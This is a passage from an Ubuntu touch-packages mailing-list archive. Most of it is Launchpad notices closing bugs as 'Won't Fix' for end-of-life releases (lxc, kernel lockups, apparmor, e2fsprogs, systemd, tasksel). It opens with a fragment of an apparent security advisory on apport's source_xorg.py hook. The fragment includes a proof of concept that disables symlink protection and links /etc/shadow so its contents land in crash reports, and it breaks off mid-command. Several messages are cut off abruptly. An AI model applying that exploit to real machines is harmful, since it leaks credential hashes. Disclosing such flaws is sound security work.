   bin:*:18375:0:9:7:::
   sys:*:18375:0:9:7:::
  ```

  ## Issue 2: Arbitrary file read in package-hooks/source_xorg.py (Info)
  The root cause of this issue stems from the fact, that a potentially
  user-controlled file in the `/tmp` directory is not checked for being a 
symbolic link and therefore might allow including arbitrary files in the 
processed crash report:

  Note: Requires `fs.protected_symlinks=0`

  ```Python
  def attach_3d_info(report, ui=None):
  ...

  # Compiz internal state if compiz crashed
  if True or report.get('SourcePackage','Unknown') == "compiz" and 
"ProcStatus" in report:
  compiz_pid = 0
  pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
  if pid_line:
  compiz_pid = pid_line.groups()[0]
  compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid
  attach_file_if_exists(report, compiz_state_file, 
"compiz_internal_states")
  ```

  ### PoC
  ```
  $ sudo sysctl fs.protected_symlinks=0
  fs.protected_symlinks = 0

  $ ln -s /etc/shadow 

[Touch-packages] [Bug 1938771] Re: lxc-test-rootfs test regression with 4.0.10-0ubuntu3

[Brian Murray]

Ubuntu 21.10 (Impish Indri) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: lxc (Ubuntu Impish)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lxc in Ubuntu.
https://bugs.launchpad.net/bugs/1938771

Title:
  lxc-test-rootfs test regression with 4.0.10-0ubuntu3

Status in lxc package in Ubuntu:
  Fix Released
Status in lxc source package in Impish:
  Won't Fix

Bug description:
  It looks like the option "lxc.rootfs.options = ro" is not honored with
  lxc 4.0.10-0ubuntu3 and it used to work with lxc 4.0.6-0ubuntu1
  (kernel is the same, I'm testing this with 5.13.0-13.13).

  Output of the test:

  09:12 ubuntu@impish$ sudo ./src/tests/lxc-test-rootfs
  + PHASE=setup
  + trap cleanup EXIT
  + lxc-destroy -n lxc-test-rootfs -f
  lxc-destroy: lxc-test-rootfs: tools/lxc_destroy.c: main: 242 Container is not 
defined
  + true
  + lxc-create -t busybox -n lxc-test-rootfs
  + PHASE=ro_rootfs
  + echo 'Starting phase ro_rootfs'
  Starting phase ro_rootfs
  + config=/var/lib/lxc/lxc-test-rootfs/config
  + sed -i /lxc.rootfs.options/d /var/lib/lxc/lxc-test-rootfs/config
  + echo 'lxc.rootfs.options = ro'
  + lxc-start -n lxc-test-rootfs
  ++ lxc-info -n lxc-test-rootfs -p -H
  + pid=2147
  + ro=0
  + mkdir /proc/2147/root/rotest
  + '[' 0 -ne 0 ']'
  + cleanup
  + set +e
  + lxc-destroy -n lxc-test-rootfs -f
  + '[' ro_rootfs '!=' done ']'
  + echo 'rootfs test failed at ro_rootfs'
  rootfs test failed at ro_rootfs
  + exit 1

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1938771/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2024599] Re: linux-image-5.15.0-1032-realtime locks up under scheduler test load

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: linux (Ubuntu Kinetic)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/2024599

Title:
  linux-image-5.15.0-1032-realtime locks up under scheduler test load

Status in apparmor package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Incomplete
Status in apparmor source package in Jammy:
  New
Status in linux source package in Jammy:
  Incomplete
Status in apparmor source package in Kinetic:
  Won't Fix
Status in linux source package in Kinetic:
  Won't Fix
Status in apparmor source package in Lunar:
  Won't Fix
Status in linux source package in Lunar:
  Won't Fix
Status in apparmor source package in Mantic:
  Won't Fix
Status in linux source package in Mantic:
  Won't Fix

Bug description:
  lsb_release -a
  No LSB modules are available.
  Distributor ID:   Ubuntu
  Description:  Ubuntu 22.04.2 LTS
  Release:  22.04
  Codename: jammy

  uname -a
  Linux jammie-amd64-efi 5.15.0-1032-realtime #35-Ubuntu SMP PREEMPT_RT Tue Jan 
24 11:45:03 UTC 2023 x86_64
  x86_64 x86_64 GNU/Linux

  free
     totalusedfree  shared  buff/cache   
available
  Mem: 4013888  200984 34390121204  373892 
3744628
  Swap:4014076   0 4014076

  Running in a kvm-qemu, 8 cpus, cpu Intel Core Processor (Skylake,
  IBRS):

  how to reproduce issue:

  git clone https://github.com/ColinIanKing/stress-ng
  sudo apt-get update
  sudo apt-get build-dep stress-ng
  sudo apt-get install libeigen3-dev libmpfr-dev libkmod-dev libxxhash-dev 
libglvnd-dev libgbm-dev
  cd stress-ng
  make clean
  make -j 8
  sudo ./stress-ng --class scheduler --all 1 -v --vmstat 1 -t 30m

  ..wait for all the stressors to get invoked, system becomes
  unresponsive, can't ^C stress-ng, can't swap consoles on the VM,
  appears to be hard locked.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/2024599/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2024599] Re: linux-image-5.15.0-1032-realtime locks up under scheduler test load

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apparmor (Ubuntu Kinetic)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/2024599

Title:
  linux-image-5.15.0-1032-realtime locks up under scheduler test load

Status in apparmor package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Incomplete
Status in apparmor source package in Jammy:
  New
Status in linux source package in Jammy:
  Incomplete
Status in apparmor source package in Kinetic:
  Won't Fix
Status in linux source package in Kinetic:
  Won't Fix
Status in apparmor source package in Lunar:
  Won't Fix
Status in linux source package in Lunar:
  Won't Fix
Status in apparmor source package in Mantic:
  Won't Fix
Status in linux source package in Mantic:
  Won't Fix

Bug description:
  lsb_release -a
  No LSB modules are available.
  Distributor ID:   Ubuntu
  Description:  Ubuntu 22.04.2 LTS
  Release:  22.04
  Codename: jammy

  uname -a
  Linux jammie-amd64-efi 5.15.0-1032-realtime #35-Ubuntu SMP PREEMPT_RT Tue Jan 
24 11:45:03 UTC 2023 x86_64
  x86_64 x86_64 GNU/Linux

  free
     totalusedfree  shared  buff/cache   
available
  Mem: 4013888  200984 34390121204  373892 
3744628
  Swap:4014076   0 4014076

  Running in a kvm-qemu, 8 cpus, cpu Intel Core Processor (Skylake,
  IBRS):

  how to reproduce issue:

  git clone https://github.com/ColinIanKing/stress-ng
  sudo apt-get update
  sudo apt-get build-dep stress-ng
  sudo apt-get install libeigen3-dev libmpfr-dev libkmod-dev libxxhash-dev 
libglvnd-dev libgbm-dev
  cd stress-ng
  make clean
  make -j 8
  sudo ./stress-ng --class scheduler --all 1 -v --vmstat 1 -t 30m

  ..wait for all the stressors to get invoked, system becomes
  unresponsive, can't ^C stress-ng, can't swap consoles on the VM,
  appears to be hard locked.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/2024599/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2026273] Re: SRU e2fsprogs v1.47.0 for HWE reasons

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: focal (Ubuntu Kinetic)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to e2fsprogs in Ubuntu.
https://bugs.launchpad.net/bugs/2026273

Title:
  SRU e2fsprogs v1.47.0 for HWE reasons

Status in e2fsprogs package in Ubuntu:
  Confirmed
Status in focal package in Ubuntu:
  New
Status in e2fsprogs source package in Jammy:
  Confirmed
Status in focal source package in Jammy:
  New
Status in e2fsprogs source package in Kinetic:
  Won't Fix
Status in focal source package in Kinetic:
  Won't Fix
Status in e2fsprogs source package in Lunar:
  Won't Fix
Status in focal source package in Lunar:
  Won't Fix

Bug description:
  [ Impact ]

   * orphan_file ext4 feature is available in Jammy v5.15 GA kernel
   * It is to be enabled by default in Mantic
   * fsck utility in jammy doesn't support orphan_file feature
   * as part of forwards-compatibility support it would be useful for Jammy 
22.04 LTS to be able to fsck future releases (i.e. 23.10 / 24.04)
   * as part of HWE support, users may opt-in and choose to use orphan_file in 
Jammy today, when they do so they currently loose support to fsck a given 
filesystem.

  [ Test Plan ]

   * Create new ext4 filesystem with GA version of e2fsprogs and with proposed 
one
   * Ensure that default feature set enabled is the same (i.e. orphan_file & 
metadata_csum features are OFF)
   * Ensure that either fsck can fsck both filesystems
   * Use tune2fs to enable orphan_file feature
   * Ensure that new fsck can check such a filesystem, and that GA (v5.15) 
kernel can mount it

   * do test rebuilds of reverse-build-depends of e2fsprogs to verify to
  change of API and ABI, none should FTBFS and none should gain any new
  dependencies on the 1.47 symbols

  [ Where problems could occur ]

   * library api/abi changes:

  struct ext2_super_block size is unchanged, s_orphan_file_inum consumes
  one of the s_reserved fields.

  orphan_file related public APIs are added.

   * default features:

  Ensure that config files are unchanged, to ensure that no new features
  are enabled by default, meaning filesystems created with the upgraded
  e2fsprogs in a given Ubuntu release will keep the same feature level.

  [ Other Info ]
   
   * Anything else you think is useful to include
   * Anticipate questions from users, SRU, +1 maintenance, security teams and 
the Technical Board
   * and address these questions in advance

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/e2fsprogs/+bug/2026273/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2074113] Re: pymdown-extensions: FTBFS: AssertionError: False is not true

[Brian Murray]

** Also affects: python3-defaults (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python3-defaults in
Ubuntu.
https://bugs.launchpad.net/bugs/2074113

Title:
  pymdown-extensions: FTBFS: AssertionError: False is not true

Status in pymdown-extensions package in Ubuntu:
  New
Status in python3-defaults package in Ubuntu:
  New
Status in pymdown-extensions package in Debian:
  New

Bug description:
  Imported from Debian bug http://bugs.debian.org/1076907:

  Package: src:pymdown-extensions
  Version: 10.8.1-1
  Severity: serious
  Tags: ftbfs

  Dear maintainer:

  During a rebuild of all packages in unstable, your package failed to
  build:

  

  [...]
debian/rules binary
  dh binary --buildsystem=pybuild
  dh_update_autotools_config -O--buildsystem=pybuild
  dh_autoreconf -O--buildsystem=pybuild
  dh_auto_configure -O--buildsystem=pybuild
  dh_auto_build -O--buildsystem=pybuild
  I: pybuild plugin_pyproject:129: Building wheel for python3.12 with "build" 
module
  I: pybuild base:311: python3.12 -m build --skip-dependency-check 
--no-isolation --wheel --outdir /<>/.pybuild/cpython3_3.12_pymdownx
  * Building wheel...
  Successfully built pymdown_extensions-10.8.1-py3-none-any.whl
  I: pybuild plugin_pyproject:144: Unpacking wheel built for python3.12 with 
"installer" module
  dh_auto_test -O--buildsystem=pybuild
  I: pybuild base:311: cd 
/<>/.pybuild/cpython3_3.12_pymdownx/build; python3.12 -m pytest 
tests
  = test session starts 
==
  platform linux -- Python 3.12.4, pytest-8.2.2, pluggy-1.5.0
  rootdir: /<>/.pybuild/cpython3_3.12_pymdownx/build
  configfile: pyproject.toml
  collected 532 items

  tests/test_extensions/test_arithmatex.py ..  [  
1%]
  tests/test_extensions/test_b64.py .  [  
2%]
  tests/test_extensions/test_betterem.py ..[  
3%]
  tests/test_extensions/test_blocks/test_admonitions.py    [  
6%]
  tests/test_extensions/test_blocks/test_definition.py .   [  
7%]
  tests/test_extensions/test_blocks/test_details.py ...[  
9%]
  tests/test_extensions/test_blocks/test_general_blocks.py ... [ 
12%]
  .[ 
15%]
  tests/test_extensions/test_blocks/test_html.py   [ 
18%]
  tests/test_extensions/test_blocks/test_legacy_tab.py [ 
20%]
  tests/test_extensions/test_blocks/test_tab.py ...[ 
22%]
  tests/test_extensions/test_details.py ...[ 
25%]
  tests/test_extensions/test_emoji.py ..   [ 
25%]
  tests/test_extensions/test_escapeall.py  [ 
26%]
  tests/test_extensions/test_highlight.py FF   [ 
32%]
  tests/test_extensions/test_inlinehilite.py ...FF [ 
36%]
  tests/test_extensions/test_keys.py . [ 
36%]
  tests/test_extensions/test_legacy_slugs.py ..[ 
37%]
  tests/test_extensions/test_magiclink.py  [ 
42%]
  tests/test_extensions/test_pathconverter.py  [ 
47%]
  .[ 
51%]
  tests/test_extensions/test_saneheaders.py .. [ 
53%]
  tests/test_extensions/test_slugs.py  [ 
54%]
  tests/test_extensions/test_smartsymbols.py ...   [ 
56%]
  tests/test_extensions/test_snippets.py . [ 
62%]
  .[ 
65%]
  tests/test_extensions/test_striphmtl.py .[ 
66%]
  tests/test_extensions/test_superfences.py .. [ 
71%]
   [ 
77%]
  tests/test_extensions/test_tabbed.py .   [ 
81%]
  tests/test_extensions/test_tabbed_alternate.py . [ 
84%]
  tests/test_syntax.py ... [ 
94%]
   [ 
96%]
  tests/test_targeted.py . [ 
99%]
  tests/test_versions.py   
[100%]

  === FAILURES 
===
   TestHighlightGuess.test_guess 
_

  self 

[Touch-packages] [Bug 2009317] Re: All Snaps Broken After Release Upgrade

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apparmor (Ubuntu Kinetic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/2009317

Title:
  All Snaps Broken After Release Upgrade

Status in apparmor package in Ubuntu:
  Confirmed
Status in ubuntu-release-upgrader package in Ubuntu:
  Incomplete
Status in apparmor source package in Jammy:
  Confirmed
Status in ubuntu-release-upgrader source package in Jammy:
  Incomplete
Status in apparmor source package in Kinetic:
  Won't Fix
Status in ubuntu-release-upgrader source package in Kinetic:
  Won't Fix

Bug description:
  isa~ lsb_release -rd
  No LSB modules are available.
  Description:  Ubuntu Lunar Lobster (development branch)
  Release:  23.04

  Expected behavior:
  ==
  Installed snaps worked before do-release-upgrade (from Kinetic to Lunar), 
they should also work after.

  Actual behavior:
  ==
  Snaps worked before do-release-upgrade, NONE work after. Printed warning is 
useless. Debugging requires secondary device. This should be a trivial fix 
(re-enable apparmor service at the end of do-release-upgrade).

  isa~ firefox
  snap-confine has elevated permissions and is not confined but should be. 
Refusing to continue to avoid permission escalation attacks
  Please make sure that the snapd.apparmor service is enabled and started.
  isa~ systemctl status snapd.apparmor
  ● snapd.apparmor.service - Load AppArmor profiles managed internally by snapd
   Loaded: loaded (/lib/systemd/system/snapd.apparmor.service; enabled; 
preset: enabled)
   Active: active (exited) since Sun 2023-03-05 18:27:10 MST; 10min ago
     Main PID: 826 (code=exited, status=0/SUCCESS)
  CPU: 43.722s

  Mar 05 18:27:10 isa systemd[1]: Finished Load AppArmor profiles managed 
internally by snapd.
  Notice: journal has been rotated since unit was started, output may be 
incomplete.

  It looks like during the release upgrade apparmor was disabled and
  needs to be re-enabled.

  isa~ systemctl status apparmor
  ○ apparmor.service - Load AppArmor profiles
   Loaded: loaded (/lib/systemd/system/apparmor.service; disabled; preset: 
enabled)
   Active: inactive (dead)
     Docs: man:apparmor(7)
   https://gitlab.com/apparmor/apparmor/wikis/home/
  isa~ systemctl start apparmor

  Notes:
  ==
  This is a reoccurring bug, I hit it when upgrading to Kinetic as well on the 
same device. This does NOT happen on all devices (my other device didn't hit 
this issue when upgrading Jammy->Kinetic->Lunar). This is a bad user experience 
- debugging requires a secondary device because Ubuntu browsers are snap-based.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/2009317/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2009317] Re: All Snaps Broken After Release Upgrade

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: ubuntu-release-upgrader (Ubuntu Kinetic)
   Status: Incomplete => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/2009317

Title:
  All Snaps Broken After Release Upgrade

Status in apparmor package in Ubuntu:
  Confirmed
Status in ubuntu-release-upgrader package in Ubuntu:
  Incomplete
Status in apparmor source package in Jammy:
  Confirmed
Status in ubuntu-release-upgrader source package in Jammy:
  Incomplete
Status in apparmor source package in Kinetic:
  Won't Fix
Status in ubuntu-release-upgrader source package in Kinetic:
  Won't Fix

Bug description:
  isa~ lsb_release -rd
  No LSB modules are available.
  Description:  Ubuntu Lunar Lobster (development branch)
  Release:  23.04

  Expected behavior:
  ==
  Installed snaps worked before do-release-upgrade (from Kinetic to Lunar), 
they should also work after.

  Actual behavior:
  ==
  Snaps worked before do-release-upgrade, NONE work after. Printed warning is 
useless. Debugging requires secondary device. This should be a trivial fix 
(re-enable apparmor service at the end of do-release-upgrade).

  isa~ firefox
  snap-confine has elevated permissions and is not confined but should be. 
Refusing to continue to avoid permission escalation attacks
  Please make sure that the snapd.apparmor service is enabled and started.
  isa~ systemctl status snapd.apparmor
  ● snapd.apparmor.service - Load AppArmor profiles managed internally by snapd
   Loaded: loaded (/lib/systemd/system/snapd.apparmor.service; enabled; 
preset: enabled)
   Active: active (exited) since Sun 2023-03-05 18:27:10 MST; 10min ago
     Main PID: 826 (code=exited, status=0/SUCCESS)
  CPU: 43.722s

  Mar 05 18:27:10 isa systemd[1]: Finished Load AppArmor profiles managed 
internally by snapd.
  Notice: journal has been rotated since unit was started, output may be 
incomplete.

  It looks like during the release upgrade apparmor was disabled and
  needs to be re-enabled.

  isa~ systemctl status apparmor
  ○ apparmor.service - Load AppArmor profiles
   Loaded: loaded (/lib/systemd/system/apparmor.service; disabled; preset: 
enabled)
   Active: inactive (dead)
     Docs: man:apparmor(7)
   https://gitlab.com/apparmor/apparmor/wikis/home/
  isa~ systemctl start apparmor

  Notes:
  ==
  This is a reoccurring bug, I hit it when upgrading to Kinetic as well on the 
same device. This does NOT happen on all devices (my other device didn't hit 
this issue when upgrading Jammy->Kinetic->Lunar). This is a bad user experience 
- debugging requires a secondary device because Ubuntu browsers are snap-based.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/2009317/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 2009859] Re: systemd: networkd-test.py fails with newer kinetic kernels

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: linux (Ubuntu Kinetic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/2009859

Title:
  systemd: networkd-test.py fails with newer kinetic kernels

Status in linux package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Invalid
Status in linux source package in Kinetic:
  Won't Fix
Status in systemd source package in Kinetic:
  Won't Fix

Bug description:
  systemd autopkgtests are failing in kinetic, and they are not
  considered regressions. The failing test is one within networkd-
  test.py:

  ==
  ERROR: test_resolved_domain_restricted_dns (__main__.DnsmasqClientTest)
  resolved: domain-restricted DNS servers
  --
  Traceback (most recent call last):
File "/tmp/autopkgtest.wTrLDQ/build.Oa5/src/test/networkd-test.py", line 
680, in test_resolved_domain_restricted_dns
  out = subprocess.check_output(['resolvectl', 'query', 'math.lab'])
File "/usr/lib/python3.10/subprocess.py", line 420, in check_output
  return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "/usr/lib/python3.10/subprocess.py", line 524, in run
  raise CalledProcessError(retcode, process.args,
  subprocess.CalledProcessError: Command '['resolvectl', 'query', 'math.lab']' 
returned non-zero exit status 1.

  --
  Ran 35 tests in 161.770s

  FAILED (errors=1, skipped=2)

  The failures started without any changes to the systemd package, i.e.
  it was caused by another package upload. In particular, the failures
  started around 2022-11-17 with linux 5.19.0-24.25. The tests pass fine
  with linux 5.19.0-21.21, i.e. the version in kinetic-release.

  This can be demonstrated locally with autopkgtest:

  $ autopkgtest --shell-fail systemd --test-name networkd-test.py --pin-
  packages=kinetic=src:linux --setup-commands 'apt update' -- qemu
  /home/nr/ubuntu/autopkgtest-testbeds/autopkgtest-kinetic-amd64.img

  Note in the above command I did not pass -U, so no packages in the
  test bed are upgraded. But, with:

  $ autopkgtest --shell-fail systemd --test-name networkd-test.py -U --
  qemu /home/nr/ubuntu/autopkgtest-testbeds/autopkgtest-kinetic-
  amd64.img

  the kernel is upgraded, and the test fails.

  This can also be done manually by grabbing the systemd source on a
  kinetic machine (e.g. pull-lp-source systemd kinetic), and running:

  $ sudo python3 test/networkd-test.py
  DnsmasqClientTest.test_resolved_domain_restricted_dns

  The attached journal.txt shows systemd-resolved logs from when the test is 
run. The failure is caused by the EHOSTUNREACH when trying to resolve math.lab.
  --- 
  ProblemType: Bug
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Mar  9 11:56 seq
   crw-rw 1 root audio 116, 33 Mar  9 11:56 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay'
  ApportVersion: 2.23.1-0ubuntu3
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  CRDA: N/A
  CasperMD5CheckResult: unknown
  DistroRelease: Ubuntu 22.10
  IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig'
  Lsusb: Error: command ['lsusb'] failed with exit code 1:
  Lsusb-t:
   
  Lsusb-v: Error: command ['lsusb', '-v'] failed with exit code 1:
  MachineType: QEMU Standard PC (i440FX + PIIX, 1996)
  Package: linux (not installed)
  PciMultimedia:
   
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 bochs-drmdrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-35-generic 
root=UUID=7f0aa1bf-59bd-4d77-b092-7244f86e5566 ro console=tty0 console=hvc0 
console=ttyS0
  ProcVersionSignature: Ubuntu 5.19.0-35.36-generic 5.19.17
  RelatedPackageVersions:
   linux-restricted-modules-5.19.0-35-generic N/A
   linux-backports-modules-5.19.0-35-generic  N/A
   linux-firmware 20220923.gitf09bebf3-0ubuntu1.4
  RfKill: Error: [Errno 2] No such file or directory: 'rfkill'
  Tags:  kinetic
  Uname: Linux 5.19.0-35-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: N/A
  _MarkForUpload: True
  dmi.bios.date: 04/01/2014
  dmi.bios.release: 0.0
  dmi.bios.vendor: SeaBIOS
  dmi.bios.version: 1.16.0-debian-1.16.0-4
  dmi.chassis.type: 1
  dmi.chassis.vendor: QEMU
  dmi.chassis.version: pc-i440fx-kinetic
  dmi.modalias: 

[Touch-packages] [Bug 2009859] Re: systemd: networkd-test.py fails with newer kinetic kernels

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: systemd (Ubuntu Kinetic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/2009859

Title:
  systemd: networkd-test.py fails with newer kinetic kernels

Status in linux package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  Invalid
Status in linux source package in Kinetic:
  Won't Fix
Status in systemd source package in Kinetic:
  Won't Fix

Bug description:
  systemd autopkgtests are failing in kinetic, and they are not
  considered regressions. The failing test is one within networkd-
  test.py:

  ==
  ERROR: test_resolved_domain_restricted_dns (__main__.DnsmasqClientTest)
  resolved: domain-restricted DNS servers
  --
  Traceback (most recent call last):
File "/tmp/autopkgtest.wTrLDQ/build.Oa5/src/test/networkd-test.py", line 
680, in test_resolved_domain_restricted_dns
  out = subprocess.check_output(['resolvectl', 'query', 'math.lab'])
File "/usr/lib/python3.10/subprocess.py", line 420, in check_output
  return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "/usr/lib/python3.10/subprocess.py", line 524, in run
  raise CalledProcessError(retcode, process.args,
  subprocess.CalledProcessError: Command '['resolvectl', 'query', 'math.lab']' 
returned non-zero exit status 1.

  --
  Ran 35 tests in 161.770s

  FAILED (errors=1, skipped=2)

  The failures started without any changes to the systemd package, i.e.
  it was caused by another package upload. In particular, the failures
  started around 2022-11-17 with linux 5.19.0-24.25. The tests pass fine
  with linux 5.19.0-21.21, i.e. the version in kinetic-release.

  This can be demonstrated locally with autopkgtest:

  $ autopkgtest --shell-fail systemd --test-name networkd-test.py --pin-
  packages=kinetic=src:linux --setup-commands 'apt update' -- qemu
  /home/nr/ubuntu/autopkgtest-testbeds/autopkgtest-kinetic-amd64.img

  Note in the above command I did not pass -U, so no packages in the
  test bed are upgraded. But, with:

  $ autopkgtest --shell-fail systemd --test-name networkd-test.py -U --
  qemu /home/nr/ubuntu/autopkgtest-testbeds/autopkgtest-kinetic-
  amd64.img

  the kernel is upgraded, and the test fails.

  This can also be done manually by grabbing the systemd source on a
  kinetic machine (e.g. pull-lp-source systemd kinetic), and running:

  $ sudo python3 test/networkd-test.py
  DnsmasqClientTest.test_resolved_domain_restricted_dns

  The attached journal.txt shows systemd-resolved logs from when the test is 
run. The failure is caused by the EHOSTUNREACH when trying to resolve math.lab.
  --- 
  ProblemType: Bug
  AlsaDevices:
   total 0
   crw-rw 1 root audio 116,  1 Mar  9 11:56 seq
   crw-rw 1 root audio 116, 33 Mar  9 11:56 timer
  AplayDevices: Error: [Errno 2] No such file or directory: 'aplay'
  ApportVersion: 2.23.1-0ubuntu3
  Architecture: amd64
  ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord'
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', 
'/dev/snd/timer'] failed with exit code 1:
  CRDA: N/A
  CasperMD5CheckResult: unknown
  DistroRelease: Ubuntu 22.10
  IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig'
  Lsusb: Error: command ['lsusb'] failed with exit code 1:
  Lsusb-t:
   
  Lsusb-v: Error: command ['lsusb', '-v'] failed with exit code 1:
  MachineType: QEMU Standard PC (i440FX + PIIX, 1996)
  Package: linux (not installed)
  PciMultimedia:
   
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcFB: 0 bochs-drmdrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.19.0-35-generic 
root=UUID=7f0aa1bf-59bd-4d77-b092-7244f86e5566 ro console=tty0 console=hvc0 
console=ttyS0
  ProcVersionSignature: Ubuntu 5.19.0-35.36-generic 5.19.17
  RelatedPackageVersions:
   linux-restricted-modules-5.19.0-35-generic N/A
   linux-backports-modules-5.19.0-35-generic  N/A
   linux-firmware 20220923.gitf09bebf3-0ubuntu1.4
  RfKill: Error: [Errno 2] No such file or directory: 'rfkill'
  Tags:  kinetic
  Uname: Linux 5.19.0-35-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: N/A
  _MarkForUpload: True
  dmi.bios.date: 04/01/2014
  dmi.bios.release: 0.0
  dmi.bios.vendor: SeaBIOS
  dmi.bios.version: 1.16.0-debian-1.16.0-4
  dmi.chassis.type: 1
  dmi.chassis.vendor: QEMU
  dmi.chassis.version: pc-i440fx-kinetic
  dmi.modalias: 

[Touch-packages] [Bug 574287] Re: tasksel: forcefully removes packages when tasks overlap

[Brian Murray]

Ubuntu 22.10 (Kinetic Kudu) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: tasksel (Ubuntu Kinetic)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/574287

Title:
  tasksel: forcefully removes packages when tasks overlap

Status in apt package in Ubuntu:
  Invalid
Status in tasksel package in Ubuntu:
  Confirmed
Status in apt source package in Kinetic:
  Invalid
Status in tasksel source package in Kinetic:
  Won't Fix
Status in tasksel package in Debian:
  Fix Released

Bug description:
  TEST CASE

  1. Boot Lucid LiveCD

  2. run "sudo tasksel" and select "virtual machine host"

  3. run "sudo tasksel" and deselect "virtual machine host"

  4. watch how tasksel uninstalls your system

  OBSERVATIONS

  What seems to happen is that apt vengefully removes ALL of the items
  associated with one task, including several base dependencies of other
  tasks (e.g. ubuntu-desktop)

  One illustrative example is the openssh-server task:
  This one includes the packages openssh-server, tcpd and libwrap0.
  From a normal ubuntu-desktop (e.g. ~liveCD) both tcpd and libwrap0 are 
already installed, and the task-install pulls in only openssh-server.
  However when the task is removed, all these three packages (openssh-server, 
tcpd and libwrap0) are forcefully removed.
